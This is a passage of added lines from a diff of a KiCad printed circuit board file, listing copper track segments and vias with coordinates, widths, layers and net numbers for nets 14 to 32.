+  (segment (start 102.336 72.558) (end 102.336 69.129) (width 0.3048) (layer F.Cu) (net 14) (tstamp 57980535))
+  (segment (start 102.463 72.685) (end 102.336 72.558) (width 0.3048) (layer F.Cu) (net 14) (tstamp 57980534))
+  (via (at 102.463 72.685) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 14))
+  (segment (start 102.4708 74.9187) (end 99.4228 74.9187) (width 0.9) (layer B.Cu) (net 14))
+  (segment (start 74.65 81.448) (end 77.152 81.448) (width 0.9) (layer B.Cu) (net 15))
+  (segment (start 95.1 80.8) (end 77.8 80.8) (width 0.45) (layer B.Cu) (net 15) (tstamp 59571DCD))
+  (segment (start 77.8 80.8) (end 77.3 81.3) (width 0.45) (layer B.Cu) (net 15) (tstamp 59571DD0))
+  (segment (start 119.237 82.2) (end 126.593 74.844) (width 0.9) (layer B.Cu) (net 15) (tstamp 59570AF5))
+  (segment (start 96.5 82.2) (end 119.237 82.2) (width 0.9) (layer B.Cu) (net 15) (tstamp 59570AF1))
+  (segment (start 96.05 81.75) (end 96.5 82.2) (width 0.45) (layer B.Cu) (net 15) (tstamp 59570AE9))
+  (segment (start 96.05 81.75) (end 95.1 80.8) (width 0.45) (layer B.Cu) (net 15))
+  (segment (start 77.152 81.448) (end 77.3 81.3) (width 0.9) (layer B.Cu) (net 15) (tstamp 59572D4C))
+  (segment (start 129.641 74.717) (end 126.72 74.717) (width 0.9) (layer B.Cu) (net 15))
+  (segment (start 126.72 74.717) (end 126.593 74.844) (width 0.9) (layer B.Cu) (net 15) (tstamp 595705D4))
+  (segment (start 126.593 74.844) (end 126.593 72.812) (width 0.9) (layer B.Cu) (net 15))
+  (segment (start 126.593 69.637) (end 126.593 67.224) (width 0.9) (layer B.Cu) (net 15) (tstamp 57980517))
+  (via (at 126.593 69.637) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 15))
+  (segment (start 126.593 72.812) (end 126.593 69.637) (width 0.3048) (layer F.Cu) (net 15) (tstamp 57980514))
+  (via (at 126.593 72.812) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 15))
+  (segment (start 126.6008 74.9187) (end 126.8548 74.6647) (width 0.3048) (layer B.Cu) (net 15))
+  (segment (start 74.65 78.908) (end 76.108 78.908) (width 0.9) (layer B.Cu) (net 16))
+  (segment (start 76.108 78.908) (end 76.8 79.6) (width 0.9) (layer B.Cu) (net 16) (tstamp 59572D42))
+  (segment (start 96.1 79.6) (end 76.8 79.6) (width 0.45) (layer B.Cu) (net 16))
+  (segment (start 96.1 79.6) (end 97 80.5) (width 0.45) (layer B.Cu) (net 16) (tstamp 59570B75))
+  (segment (start 97 80.5) (end 112.936 80.5) (width 0.9) (layer B.Cu) (net 16) (tstamp 59570B79))
+  (segment (start 118.465 74.971) (end 112.936 80.5) (width 0.9) (layer B.Cu) (net 16) (tstamp 59570B82))
+  (segment (start 76.8 79.6) (end 76.9 79.7) (width 0.45) (layer B.Cu) (net 16) (tstamp 59571DBF))
+  (segment (start 115.417 74.844) (end 115.417 72.939) (width 0.9) (layer B.Cu) (net 16))
+  (segment (start 115.417 69.51) (end 115.417 67.224) (width 0.9) (layer B.Cu) (net 16) (tstamp 57980526))
+  (via (at 115.417 69.51) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 16))
+  (segment (start 115.417 72.939) (end 115.417 69.51) (width 0.3048) (layer F.Cu) (net 16) (tstamp 57980523))
+  (via (at 115.417 72.939) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 16))
+  (segment (start 115.4248 74.9187) (end 119.2348 74.9187) (width 0.9) (layer B.Cu) (net 16))
+  (segment (start 74.65 94.148) (end 76.548 94.148) (width 0.9) (layer B.Cu) (net 17))
+  (segment (start 77.5 95.1) (end 76.75 94.35) (width 0.45) (layer B.Cu) (net 17) (tstamp 59571755))
+  (segment (start 77.5 99.6) (end 77.5 95.1) (width 0.45) (layer B.Cu) (net 17) (tstamp 59571753))
+  (segment (start 78.9 101) (end 77.5 99.6) (width 0.45) (layer B.Cu) (net 17) (tstamp 5957174D))
+  (segment (start 85.1 101) (end 78.9 101) (width 0.6) (layer B.Cu) (net 17) (tstamp 59571744))
+  (segment (start 85.1 101) (end 88.142 97.958) (width 0.6) (layer B.Cu) (net 17) (tstamp 59571741))
+  (segment (start 76.548 94.148) (end 76.75 94.35) (width 0.9) (layer B.Cu) (net 17) (tstamp 59572D5E))
+  (segment (start 88.239 97.958) (end 88.142 97.958) (width 0.45) (layer B.Cu) (net 17))
+  (segment (start 91.287 98.339) (end 91.287 96.18) (width 0.9) (layer B.Cu) (net 17))
+  (segment (start 91.287 93.005) (end 91.287 90.719) (width 0.9) (layer B.Cu) (net 17) (tstamp 579804D1))
+  (via (at 91.287 93.005) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 17))
+  (segment (start 91.287 96.18) (end 91.287 93.005) (width 0.3048) (layer F.Cu) (net 17) (tstamp 579804CE))
+  (via (at 91.287 96.18) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 17))
+  (segment (start 91.0408 98.0327) (end 91.2948 98.2867) (width 0.3048) (layer B.Cu) (net 17) (tstamp 57797331))
+  (segment (start 88.2468 98.0327) (end 91.0408 98.0327) (width 0.9) (layer B.Cu) (net 17) (tstamp 57797330))
+  (segment (start 74.6534 94.1514) (end 74.65 94.148) (width 0.3048) (layer B.Cu) (net 17) (tstamp 578EDAAD))
+  (segment (start 70.1 95.2) (end 70.1 94.9) (width 0.9) (layer B.Cu) (net 18))
+  (segment (start 129.641 100.059) (end 125.1 104.6) (width 0.6) (layer B.Cu) (net 18) (tstamp 59571839))
+  (segment (start 125.1 104.6) (end 73.9 104.6) (width 0.6) (layer B.Cu) (net 18) (tstamp 5957183F))
+  (segment (start 73.9 104.6) (end 70.1 100.8) (width 0.6) (layer B.Cu) (net 18) (tstamp 59571844))
+  (segment (start 70.1 100.8) (end 70.1 95.2) (width 0.6) (layer B.Cu) (net 18) (tstamp 5957184D))
+  (segment (start 129.641 98.085) (end 129.641 100.059) (width 0.6) (layer B.Cu) (net 18))
+  (segment (start 70.852 94.148) (end 72.11 94.148) (width 0.9) (layer B.Cu) (net 18) (tstamp 59572D74))
+  (segment (start 70.1 94.9) (end 70.852 94.148) (width 0.9) (layer B.Cu) (net 18) (tstamp 59572D71))
+  (segment (start 126.593 98.212) (end 126.593 96.434) (width 0.9) (layer B.Cu) (net 18))
+  (segment (start 126.593 92.878) (end 126.593 90.592) (width 0.9) (layer B.Cu) (net 18) (tstamp 579804B8))
+  (via (at 126.593 92.878) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 18))
+  (segment (start 126.593 96.434) (end 126.593 92.878) (width 0.3048) (layer F.Cu) (net 18) (tstamp 579804B1))
+  (via (at 126.593 96.434) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 18))
+  (segment (start 129.641 98.085) (end 126.72 98.085) (width 0.9) (layer B.Cu) (net 18))
+  (segment (start 126.72 98.085) (end 126.593 98.212) (width 0.3048) (layer B.Cu) (net 18) (tstamp 578F69ED))
+  (segment (start 118.973 55.286) (end 118.973 51.015307) (width 1.5) (layer B.Cu) (net 19))
+  (segment (start 118.7 50.742307) (end 117.108164 49.150464) (width 1.5) (layer B.Cu) (net 19) (tstamp 5779633D))
+  (segment (start 117.108164 49.150464) (end 115.584164 49.150465) (width 1.5) (layer B.Cu) (net 19) (tstamp 5779633E))
+  (segment (start 118.973 51.015307) (end 118.7 50.742307) (width 1.5) (layer B.Cu) (net 19) (tstamp 59570D1F))
+  (segment (start 83.4208 85.5867) (end 87.4848 85.5867) (width 0.9) (layer B.Cu) (net 20) (tstamp 577972EF))
+  (segment (start 87.7388 85.3327) (end 87.4848 85.5867) (width 0.3048) (layer B.Cu) (net 20) (tstamp 577972F1))
+  (segment (start 87.4848 85.5867) (end 87.7388 85.3327) (width 0.3048) (layer B.Cu) (net 20) (tstamp 577972F0))
+  (segment (start 83.9288 88.8887) (end 83.4208 88.3807) (width 0.6) (layer B.Cu) (net 21) (tstamp 577972FC))
+  (segment (start 83.4208 88.3807) (end 82.6588 88.3807) (width 0.6) (layer B.Cu) (net 21) (tstamp 577972FB))
+  (segment (start 82.6588 88.3807) (end 82.1508 87.8727) (width 0.6) (layer B.Cu) (net 21) (tstamp 577972FA))
+  (segment (start 83.9288 90.4127) (end 83.9288 88.8887) (width 0.6) (layer B.Cu) (net 21) (tstamp 577972F8))
+  (segment (start 82.1508 87.8727) (end 82.1508 84.3167) (width 0.45) (layer B.Cu) (net 21) (tstamp 577972F9))
+  (segment (start 80.3728 94.2227) (end 82.1508 92.4447) (width 1.5) (layer B.Cu) (net 22) (tstamp 57797306))
+  (segment (start 82.1508 92.4447) (end 82.1508 89.6507) (width 0.45) (layer B.Cu) (net 22) (tstamp 57797305))
+  (segment (start 82.1508 89.6507) (end 80.8808 88.3807) (width 0.45) (layer B.Cu) (net 22) (tstamp 57797304))
+  (segment (start 80.3728 98.0327) (end 80.3728 94.2227) (width 1.5) (layer B.Cu) (net 22) (tstamp 57797302))
+  (segment (start 80.8808 88.3807) (end 80.8808 85.5867) (width 0.6) (layer B.Cu) (net 22) (tstamp 57797303))
+  (segment (start 74.65 96.688) (end 76.488 96.688) (width 0.45) (layer B.Cu) (net 23))
+  (segment (start 95.8 102.2) (end 99.415 98.585) (width 0.6) (layer B.Cu) (net 23) (tstamp 5957175E))
+  (segment (start 95.8 102.2) (end 78.1 102.2) (width 0.6) (layer B.Cu) (net 23) (tstamp 5957176C))
+  (segment (start 78.1 102.2) (end 76.6 100.7) (width 0.45) (layer B.Cu) (net 23) (tstamp 59571774))
+  (segment (start 76.6 96.8) (end 76.6 100.7) (width 0.45) (layer B.Cu) (net 23))
+  (segment (start 76.488 96.688) (end 76.6 96.8) (width 0.45) (layer B.Cu) (net 23) (tstamp 59572D61))
+  (segment (start 99.415 98.466) (end 99.415 98.585) (width 0.9) (layer B.Cu) (net 23))
+  (segment (start 102.463 98.339) (end 102.463 96.434) (width 0.9) (layer B.Cu) (net 23))
+  (segment (start 102.463 93.005) (end 102.463 90.719) (width 0.9) (layer B.Cu) (net 23) (tstamp 579804C9))
+  (via (at 102.463 93.005) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 23))
+  (segment (start 102.463 96.434) (end 102.463 93.005) (width 0.3048) (layer F.Cu) (net 23) (tstamp 579804C6))
+  (via (at 102.463 96.434) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 23))
+  (segment (start 102.4708 98.2867) (end 99.4228 98.2867) (width 0.9) (layer B.Cu) (net 23) (tstamp 5779733C))
+  (segment (start 99.4228 98.2867) (end 98.6608 98.2867) (width 0.3048) (layer B.Cu) (net 23) (tstamp 57797337))
+  (segment (start 74.65 99.228) (end 74.65 100.85) (width 0.9) (layer B.Cu) (net 24))
+  (segment (start 114.3 103.4) (end 77.2 103.4) (width 0.6) (layer B.Cu) (net 24) (tstamp 59571822))
+  (segment (start 77.2 103.4) (end 74.9 101.1) (width 0.6) (layer B.Cu) (net 24) (tstamp 5957182E))
+  (segment (start 114.3 103.4) (end 118.465 99.235) (width 0.6) (layer B.Cu) (net 24) (tstamp 5957181E))
+  (segment (start 74.65 100.85) (end 74.9 101.1) (width 0.9) (layer B.Cu) (net 24) (tstamp 59572D6C))
+  (segment (start 118.465 98.339) (end 118.465 99.235) (width 0.45) (layer B.Cu) (net 24))
+  (segment (start 115.417 98.212) (end 115.417 96.434) (width 0.9) (layer B.Cu) (net 24))
+  (segment (start 115.417 93.259) (end 115.417 90.592) (width 0.9) (layer B.Cu) (net 24) (tstamp 579804A6))
+  (via (at 115.417 93.259) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 24))
+  (segment (start 115.417 96.434) (end 115.417 93.259) (width 0.3048) (layer F.Cu) (net 24) (tstamp 579804A3))
+  (via (at 115.417 96.434) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 24))
+  (segment (start 118.465 98.339) (end 115.544 98.339) (width 0.9) (layer B.Cu) (net 24))
+  (segment (start 115.544 98.339) (end 115.417 98.212) (width 0.3048) (layer B.Cu) (net 24) (tstamp 578F69DE))
+  (segment (start 72.11 50.968) (end 72.11 49.69) (width 1.2) (layer B.Cu) (net 25))
+  (segment (start 78.6651 48.7) (end 81.0078 51.0427) (width 1.2) (layer B.Cu) (net 25) (tstamp 59570FF7))
+  (segment (start 73.1 48.7) (end 78.6651 48.7) (width 1.2) (layer B.Cu) (net 25) (tstamp 59570FEF))
+  (segment (start 72.11 49.69) (end 73.1 48.7) (width 1.2) (layer B.Cu) (net 25) (tstamp 59570FE6))
+  (segment (start 74.65 50.968) (end 76.968 50.968) (width 1.2) (layer B.Cu) (net 26))
+  (segment (start 78.8827 53.5827) (end 81.0078 53.5827) (width 1.2) (layer B.Cu) (net 26) (tstamp 5957100A))
+  (segment (start 78 52.7) (end 78.8827 53.5827) (width 1.2) (layer B.Cu) (net 26) (tstamp 59571009))
+  (segment (start 78 52) (end 78 52.7) (width 1.2) (layer B.Cu) (net 26) (tstamp 59571007))
+  (segment (start 76.968 50.968) (end 78 52) (width 1.2) (layer B.Cu) (net 26) (tstamp 59571004))
+  (segment (start 74.65 71.288) (end 76.488 71.288) (width 0.9) (layer B.Cu) (net 27))
+  (segment (start 76.488 71.288) (end 76.6 71.4) (width 0.9) (layer B.Cu) (net 27) (tstamp 59572D38))
+  (segment (start 81.4 76.6) (end 79.5 76.6) (width 0.45) (layer B.Cu) (net 27))
+  (segment (start 76.6 71.4) (end 76.5 71.4) (width 0.45) (layer B.Cu) (net 27) (tstamp 5957157A))
+  (segment (start 78.3 73.1) (end 76.6 71.4) (width 0.45) (layer B.Cu) (net 27) (tstamp 59571577))
+  (segment (start 78.3 75.4) (end 78.3 73.1) (width 0.45) (layer B.Cu) (net 27) (tstamp 59571571))
+  (segment (start 79.5 76.6) (end 78.3 75.4) (width 0.45) (layer B.Cu) (net 27) (tstamp 5957156D))
+  (segment (start 83.921 76.079) (end 83.921 74.717) (width 0.6) (layer B.Cu) (net 27) (tstamp 59570BE3))
+  (segment (start 83.4 76.6) (end 83.921 76.079) (width 0.6) (layer B.Cu) (net 27) (tstamp 59570BDE))
+  (segment (start 81.4 76.6) (end 83.4 76.6) (width 0.45) (layer B.Cu) (net 27) (tstamp 5957156B))
+  (segment (start 134.086 76.714) (end 134.086 74.717) (width 0.9) (layer B.Cu) (net 28))
+  (segment (start 133.9668 74.6647) (end 134.2208 74.6647) (width 0.3048) (layer B.Cu) (net 28) (tstamp 577972AC))
+  (segment (start 131 79.8) (end 125.1 79.8) (width 0.9) (layer B.Cu) (net 28) (tstamp 59570A95))
+  (segment (start 134.086 76.714) (end 131 79.8) (width 0.9) (layer B.Cu) (net 28) (tstamp 59570A93))
+  (segment (start 74.65 83.988) (end 77.012 83.988) (width 0.9) (layer B.Cu) (net 28))
+  (segment (start 94.5 82.9) (end 93.4 81.8) (width 0.45) (layer B.Cu) (net 28) (tstamp 59571DE6))
+  (segment (start 93.4 81.8) (end 79.2 81.8) (width 0.45) (layer B.Cu) (net 28) (tstamp 59571DE8))
+  (segment (start 79.2 81.8) (end 77.2 83.8) (width 0.45) (layer B.Cu) (net 28) (tstamp 59571DEB))
+  (segment (start 96.7 84.4) (end 95.2 82.9) (width 0.45) (layer B.Cu) (net 28) (tstamp 59570A9E))
+  (segment (start 120.5 84.4) (end 96.7 84.4) (width 0.9) (layer B.Cu) (net 28) (tstamp 59570A9C))
+  (segment (start 125.1 79.8) (end 120.5 84.4) (width 0.9) (layer B.Cu) (net 28) (tstamp 59570A99))
+  (segment (start 95.2 82.9) (end 94.5 82.9) (width 0.45) (layer B.Cu) (net 28))
+  (segment (start 77.012 83.988) (end 77.2 83.8) (width 0.9) (layer B.Cu) (net 28) (tstamp 59572D51))
+  (segment (start 74.65 91.608) (end 77.408 91.608) (width 0.9) (layer B.Cu) (net 29))
+  (segment (start 78.5 92.7) (end 77.25 91.45) (width 0.45) (layer B.Cu) (net 29) (tstamp 59571733))
+  (segment (start 78.5 98.8) (end 78.5 92.7) (width 0.45) (layer B.Cu) (net 29) (tstamp 59571730))
+  (segment (start 79.6 99.9) (end 78.5 98.8) (width 0.45) (layer B.Cu) (net 29) (tstamp 5957172F))
+  (segment (start 81.9 99.9) (end 79.6 99.9) (width 0.45) (layer B.Cu) (net 29) (tstamp 59571729))
+  (segment (start 81.9 99.9) (end 83.842 97.958) (width 0.6) (layer B.Cu) (net 29) (tstamp 59571721))
+  (segment (start 77.408 91.608) (end 77.25 91.45) (width 0.9) (layer B.Cu) (net 29) (tstamp 59572D5A))
+  (segment (start 83.921 97.958) (end 83.842 97.958) (width 0.45) (layer B.Cu) (net 29))
+  (segment (start 69.8 92.1) (end 70.3 91.6) (width 0.9) (layer B.Cu) (net 30))
+  (segment (start 133.959 100.341) (end 128.4 105.9) (width 0.6) (layer B.Cu) (net 30) (tstamp 59571885))
+  (segment (start 128.4 105.9) (end 72.5 105.9) (width 0.6) (layer B.Cu) (net 30) (tstamp 59571887))
+  (segment (start 72.5 105.9) (end 68.8 102.2) (width 0.6) (layer B.Cu) (net 30) (tstamp 595718AC))
+  (segment (start 68.8 102.2) (end 68.8 93.1) (width 0.6) (layer B.Cu) (net 30) (tstamp 595718B9))
+  (segment (start 68.8 93.1) (end 69.8 92.1) (width 0.6) (layer B.Cu) (net 30) (tstamp 595718C4))
+  (segment (start 133.959 98.085) (end 133.959 100.341) (width 0.6) (layer B.Cu) (net 30))
+  (segment (start 70.3 91.6) (end 72.102 91.6) (width 0.9) (layer B.Cu) (net 30) (tstamp 59572D77))
+  (segment (start 72.102 91.6) (end 72.11 91.608) (width 0.9) (layer B.Cu) (net 30) (tstamp 59572D7A))
+  (segment (start 72.11 61.128) (end 69.4 61.128) (width 0.9) (layer B.Cu) (net 31))
+  (segment (start 68.6 54.2) (end 69.4 55) (width 0.9) (layer B.Cu) (net 31) (tstamp 595718F7))
+  (segment (start 69.4 55) (end 69.4 61.3) (width 0.9) (layer B.Cu) (net 31) (tstamp 595718FC))
+  (segment (start 113.811 52.111) (end 115.544 52.111) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570D0C))
+  (segment (start 111.6 49.9) (end 113.811 52.111) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570D0A))
+  (segment (start 111.6 48.167) (end 111.6 49.9) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570CFD))
+  (segment (start 107.733 44.3) (end 111.6 48.167) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570CEB))
+  (segment (start 71.4 44.3) (end 107.733 44.3) (width 1.5) (layer B.Cu) (net 31) (tstamp 59570CE9))
+  (segment (start 68.6 47.1) (end 71.4 44.3) (width 0.9) (layer B.Cu) (net 31) (tstamp 59570CE0))
+  (segment (start 68.6 47.1) (end 68.6 54.2) (width 0.9) (layer B.Cu) (net 31))
+  (segment (start 69.4 61.128) (end 69.4 61.3) (width 0.9) (layer B.Cu) (net 31) (tstamp 59572D25))
+  (segment (start 137.515 67.097) (end 140.3168 67.097) (width 1.5) (layer B.Cu) (net 32))
+  (segment (start 140 67) (end 140.3168 67) (width 1.5) (layer B.Cu) (net 32) (tstamp 595A370F))
+  (segment (start 140.2198 67) (end 140 67) (width 1.5) (layer B.Cu) (net 32) (tstamp 595A370E))
+  (segment (start 140.3168 67.097) (end 140.2198 67) (width 1.5) (layer B.Cu) (net 32) (tstamp 595A370B))
+  (segment (start 99.415 86.8) (end 105.2 86.8) (width 1.2) (layer B.Cu) (net 32))
+  (segment (start 112.6 86.7) (end 123.2 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595730A7))
+  (segment (start 112.2 86.3) (end 112.6 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595730A6))
+  (segment (start 105.7 86.3) (end 112.2 86.3) (width 0.9) (layer B.Cu) (net 32) (tstamp 595730A5))
+  (segment (start 105.2 86.8) (end 105.7 86.3) (width 0.9) (layer B.Cu) (net 32) (tstamp 595730A4))
+  (segment (start 124.9 88.4) (end 123.2 86.7) (width 0.9) (layer B.Cu) (net 32) (tstamp 59570944))
+  (segment (start 127.5 88.4) (end 124.9 88.4) (width 0.9) (layer B.Cu) (net 32) (tstamp 59570942))
+  (segment (start 129.565 90.465) (end 127.5 88.4) (width 0.9) (layer B.Cu) (net 32) (tstamp 59570940))
+  (segment (start 99.415 90.846) (end 99.415 86.8) (width 1.2) (layer B.Cu) (net 32))
+  (segment (start 99.415 86.8) (end 99.415 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595730A2))
+  (segment (start 129.641 90.465) (end 129.565 90.465) (width 0.9) (layer B.Cu) (net 32))
+  (segment (start 92.4 88.4) (end 92.7 88.4) (width 1.2) (layer B.Cu) (net 32))
+  (segment (start 90.2 88.4) (end 92.4 88.4) (width 0.9) (layer B.Cu) (net 32) (tstamp 595703A9))
+  (segment (start 88.262 90.338) (end 90.2 88.4) (width 0.9) (layer B.Cu) (net 32) (tstamp 595703A3))
+  (segment (start 92.7 88.4) (end 94.4 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570925))
+  (segment (start 99.5 87) (end 99.5 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570922))
+  (segment (start 99.5 86.785) (end 99.5 87) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570921))
+  (segment (start 99.415 86.7) (end 99.5 86.785) (width 1.2) (layer B.Cu) (net 32) (tstamp 5957091E))
+  (segment (start 93.4 84.2) (end 93.4 85.7) (width 1.2) (layer B.Cu) (net 32))
+  (segment (start 93.4 85.7) (end 94.4 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595708F3))
+  (segment (start 125.7 82.7) (end 137.3 82.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570911))
+  (segment (start 123.2 86.7) (end 125.1 84.8) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570907))
+  (segment (start 125.1 84.8) (end 125.1 83.3) (width 1.2) (layer B.Cu) (net 32) (tstamp 5957090B))
+  (segment (start 125.1 83.3) (end 125.7 82.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 5957090C))
+  (segment (start 94.4 86.7) (end 99.5 86.7) (width 1.2) (layer B.Cu) (net 32) (tstamp 595708FC))
+  (segment (start 137.25 82.65) (end 137.3 82.7) (width 0.9) (layer B.Cu) (net 32) (tstamp 595706E0))
+  (segment (start 137.3 82.7) (end 139.9 85.3) (width 1.5) (layer B.Cu) (net 32) (tstamp 59570915))
+  (segment (start 137.515 90.465) (end 139.9 88.08) (width 1.5) (layer B.Cu) (net 32) (tstamp 595706F9))
+  (segment (start 139.9 85.3) (end 139.9 88.08) (width 1.5) (layer B.Cu) (net 32) (tstamp 595706F4))
+  (segment (start 137.7 82.4) (end 140.3168 79.7832) (width 1.5) (layer B.Cu) (net 32) (tstamp 59570701))
+  (segment (start 140.3168 79.7832) (end 140.3168 67) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570702))
+  (segment (start 140.3168 67) (end 140.3168 64.5047) (width 1.2) (layer B.Cu) (net 32) (tstamp 595A3710))
+  (segment (start 139.6183 57.7737) (end 134.0938 57.7737) (width 1.5) (layer B.Cu) (net 32) (tstamp 57798EE3))
+  (segment (start 140.3168 58.4722) (end 139.9358 58.0912) (width 1.2) (layer B.Cu) (net 32) (tstamp 57798ED3))
+  (segment (start 139.9358 58.0912) (end 139.6183 57.7737) (width 0.635) (layer B.Cu) (net 32) (tstamp 57798F33))
+  (segment (start 140.3168 64.5047) (end 140.3168 58.4722) (width 1.2) (layer B.Cu) (net 32) (tstamp 57798EC9))
+  (segment (start 88.239 90.338) (end 88.262 90.338) (width 0.6) (layer B.Cu) (net 32))
+  (segment (start 80.365 90.338) (end 80.338 90.338) (width 0.6) (layer B.Cu) (net 32))
+  (segment (start 80.338 90.338) (end 79 89) (width 0.6) (layer B.Cu) (net 32) (tstamp 59570376))
+  (segment (start 79 89) (end 79 84.7) (width 0.6) (layer B.Cu) (net 32) (tstamp 59570379))
+  (segment (start 79 84.7) (end 80.7 83) (width 0.6) (layer B.Cu) (net 32) (tstamp 5957037C))
+  (segment (start 80.7 83) (end 92.2 83) (width 0.6) (layer B.Cu) (net 32) (tstamp 5957037E))
+  (segment (start 92.2 83) (end 93.4 84.2) (width 0.6) (layer B.Cu) (net 32) (tstamp 59570381))
+  (segment (start 93.4 84.2) (end 93.2 84) (width 0.9) (layer B.Cu) (net 32) (tstamp 595708F1))
+  (segment (start 134.0938 57.7737) (end 125.4578 57.7737) (width 1.5) (layer B.Cu) (net 32) (tstamp 577991FF))
+  (segment (start 125.5213 49.1377) (end 125.5213 49.150464) (width 1.5) (layer B.Cu) (net 32) (tstamp 5779937C))
+  (segment (start 123.204164 49.150464) (end 125.5213 49.150464) (width 1.2) (layer B.Cu) (net 32))
+  (segment (start 125.5213 49.150464) (end 125.534064 49.150464) (width 0.635) (layer B.Cu) (net 32) (tstamp 5779937D))
+  (segment (start 125.534064 49.150464) (end 134.0938 57.7102) (width 1.5) (layer B.Cu) (net 32) (tstamp 577991F0))
+  (segment (start 134.0938 57.7102) (end 134.0938 57.7737) (width 0.635) (layer B.Cu) (net 32) (tstamp 577991FE))
+  (segment (start 99.4228 90.6667) (end 99.4228 90.1587) (width 0.3048) (layer B.Cu) (net 32) (tstamp 5779731D))
+  (segment (start 125.4578 57.7737) (end 124.01 57.7737) (width 0.635) (layer B.Cu) (net 32))
+  (segment (start 124.5 57.7737) (end 124.01 57.7737) (width 1.2) (layer B.Cu) (net 32) (tstamp 595701ED))
+  (segment (start 99.415 67.224) (end 99.415 65.165) (width 1.5) (layer B.Cu) (net 32))
+  (segment (start 98 63.75) (end 94.5 63.75) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700F7))
+  (segment (start 99.415 65.165) (end 98 63.75) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700F3))
+  (segment (start 88.239 67.224) (end 88.239 67.011) (width 0.6) (layer B.Cu) (net 32))
+  (segment (start 88.239 67.011) (end 90.5 64.75) (width 0.6) (layer B.Cu) (net 32) (tstamp 595700D8))
+  (segment (start 90.5 64.75) (end 93.5 64.75) (width 1.2) (layer B.Cu) (net 32) (tstamp 595700DB))
+  (segment (start 93.5 64.75) (end 94.5 63.75) (width 1.2) (layer B.Cu) (net 32) (tstamp 595700E0))
+  (segment (start 94.5 63.75) (end 94.5 60.75) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700E4))
+  (segment (start 94.5 60.75) (end 91.75 58) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700E8))
+  (segment (start 91.75 58) (end 83.25 58) (width 1.5) (layer B.Cu) (net 32) (tstamp 595700E9))
+  (segment (start 83.25 58) (end 83.25 58.25) (width 0.9) (layer B.Cu) (net 32) (tstamp 595700ED))
+  (segment (start 80.365 67.097) (end 80.347 67.097) (width 0.6) (layer B.Cu) (net 32))
+  (segment (start 80.347 67.097) (end 77.2 63.95) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570055))
+  (segment (start 77.2 63.95) (end 77.2 62.55) (width 1.2) (layer B.Cu) (net 32) (tstamp 5957005A))
+  (segment (start 77.2 62.55) (end 81.5 58.25) (width 1.5) (layer B.Cu) (net 32) (tstamp 5957005D))
+  (segment (start 81.5 58.25) (end 83.25 58.25) (width 1.5) (layer B.Cu) (net 32) (tstamp 59570064))
+  (segment (start 83.25 58.25) (end 83 58.25) (width 0.9) (layer B.Cu) (net 32) (tstamp 595700EE))
+  (segment (start 83 58.25) (end 83.5478 57.7022) (width 0.9) (layer B.Cu) (net 32) (tstamp 59570068))
+  (segment (start 83.5478 57.7022) (end 83.5478 53.5827) (width 1.5) (layer B.Cu) (net 32) (tstamp 5957006C))
+  (segment (start 83.5478 51.0427) (end 83.5478 53.5827) (width 1.5) (layer B.Cu) (net 32))
+  (segment (start 85 53.5827) (end 83.5478 53.5827) (width 1.5) (layer B.Cu) (net 32))
+  (segment (start 113.974 57.25) (end 104.322 57.25) (width 1.5) (layer B.Cu) (net 32))
+  (segment (start 104.322 57.25) (end 100.642 53.57) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D59DA))
+  (segment (start 100.642 53.57) (end 96.07 53.57) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D59DB))
+  (segment (start 96.07 53.57) (end 96.07 53.5827) (width 0.635) (layer B.Cu) (net 32) (tstamp 577D59DD))
+  (segment (start 124.01 57.7737) (end 122.7263 57.7737) (width 1.5) (layer B.Cu) (net 32))
+  (segment (start 117.224 60.5) (end 113.974 57.25) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D56C0))
+  (segment (start 120 60.5) (end 117.224 60.5) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D56BF))
+  (segment (start 122.7263 57.7737) (end 120 60.5) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D56BE))
+  (segment (start 124.01 57.7737) (end 123.8068 57.7737) (width 0.635) (layer B.Cu) (net 32) (tstamp 577D56BC))
+  (segment (start 96.4383 53.5827) (end 96.07 53.5827) (width 0.635) (layer B.Cu) (net 32) (tstamp 57799B81))
+  (segment (start 96.07 53.5827) (end 85 53.5827) (width 1.5) (layer B.Cu) (net 32) (tstamp 577D59DE))
+  (segment (start 85 53.5827) (end 84.8178 53.5827) (width 0.635) (layer B.Cu) (net 32) (tstamp 5786CBA8))
+  (segment (start 86.7228 53.5827) (end 84.8178 53.5827) (width 0.635) (layer B.Cu) (net 32) (tstamp 57798F0E))
+  (segment (start 124.5 65) (end 124.5 57.7737) (width 1.5) (layer B.Cu) (net 32))
